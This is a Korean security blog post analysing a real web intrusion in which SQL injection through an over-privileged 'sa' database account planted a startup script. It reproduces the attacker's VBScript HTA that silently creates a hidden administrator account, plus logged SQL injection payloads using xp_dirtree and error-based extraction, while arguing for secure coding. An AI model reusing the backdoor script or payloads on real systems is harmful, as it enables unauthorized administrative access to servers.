2008/04/02

해킹사례 - SQL Injection 이용한 시작 프로그램 메뉴에 스트립트 등록

다음은, SQL Injection 을 이용해서 시작 프로그램에 계정 생성을 하는 스크립트를 등록한 경우 입니다. 이는 계정을 삭제 하더라도 시작 프로그램에 등록된것을 발견하지 못하면 로그인 할때마다 생성이 되겠지요..;;

이러한게 가능한 이유가, 개발과정에서 웹연동 DB 계정을 sa 계정 그대로 실제 웹서비스에 수정없이 바로 배포를 해버리기 때문입니다.

또한 개발시 귀찮다는 이유도 있고, 일부는 sa 를 쓰면 DB서버를 내 마음대로 좌지우지 할수 있는것처럼 뭔가 좋다는 막연한 생각들도 있는것 같고요..-_-;;

비유를 들자면, 길을 걷다가 발이 치일 정도로 웹에 공개되어 널려 있는게 SQL Injection 문서들이고, 강좌들이고, 뉴스 들입니다.

개발자들에게 이런것 수정하라고 그러면 상당수가 매우 귀찮아 합니다..
해킹은 서버가 당한거지,.. 내가 짠 프로그램은 잘 작동하면 되지 않냐? 이런 생각일까요??..

lzhe.hta 파일
 
<SCRIPT LANGUAGE="VBScript">
   on error resume next
   Set WS = createobject("WScript.Shell") 
   WS.run "cmd /c net1.exe user azhe$ xiamingzhe$123 /add&&cmd /c net1.exe localgroup administrators azhe$ /add",0
</Script>
<script language=javascript>window.close();</script>

스크립트는 매우 간단합니다..

그런데, 굳이 위와 같은 스크립트를 시작 프로그램에 등록할 필요가 있을까요?.

어차피 해당 사이트는 계속해서 sa 계정을 쓸것이고,. 그때 그때 xp_cmdshell 을 이용해서 생성해서 필요한 작업후 계정은 삭제하면 되는데요...

이벤트 형식: 성공 감사
이벤트 원본: Security
이벤트 범주: 계정 관리
이벤트 ID: 624
설명:
만들어진 사용자 계정:
  새 계정 이름: azhe$
  새 도메인: WSSPLEX
  새 계정 ID: %{S-1-5-21-1482476501-1844823847-725345543-1008}
  호출자 사용자 이름: wssplex
  호출자 도메인: WSSPLEX
  호출자 로그온 ID: (0x0,0x27A41AC)
  권한  -

WWW 로그중 일부 입니다.
뭐 볼필요도 없습니다... 이제는 이런 웹해킹은 너무 간단한 해킹 기술이므로....

123.52.160.191 - 80 GET /wssplex.asp code=movement&snum=713;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"C:\Documents%20and%20Settings\All%20Users\시작%20메뉴\프로그램\시작프로그램\",%201,1-- 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)

123.52.160.191 - 80 GET /wssplex.asp code=movement&snum=713%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%201%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20--|10|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]varchar_값_'|1서비스_관리자.lnk|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 Internet+Explorer+6.0

WebKnight 같은 공개 웹방화벽 모듈도 있기는 하지만,. 최초 사이트 개발 당시에 보안 요소를 전혀 고려하지 않았기 때문에 off 해야 하는 필터가 많아지게 됩니다.

이를테면,. wssplex.asp?cmd=list  처럼 게시판의 모드에 사용하는 리퍼러의 변수명을 cmd 로 사용하는 경우 처럼 말이지요.

서버측에서는 방어하는게 한계가 있습니다.
제 아무리 웹방화벽 기술이 뛰어 나다고 하더라도 가장 좋은 대안은 코드 개선입니다.

결국 이와 같은 해킹이 지속되는한, 최근의 DDoS 공격은 멈추지 않을 것입니다.


댓글 없음:

댓글 쓰기

가장 많이 본 글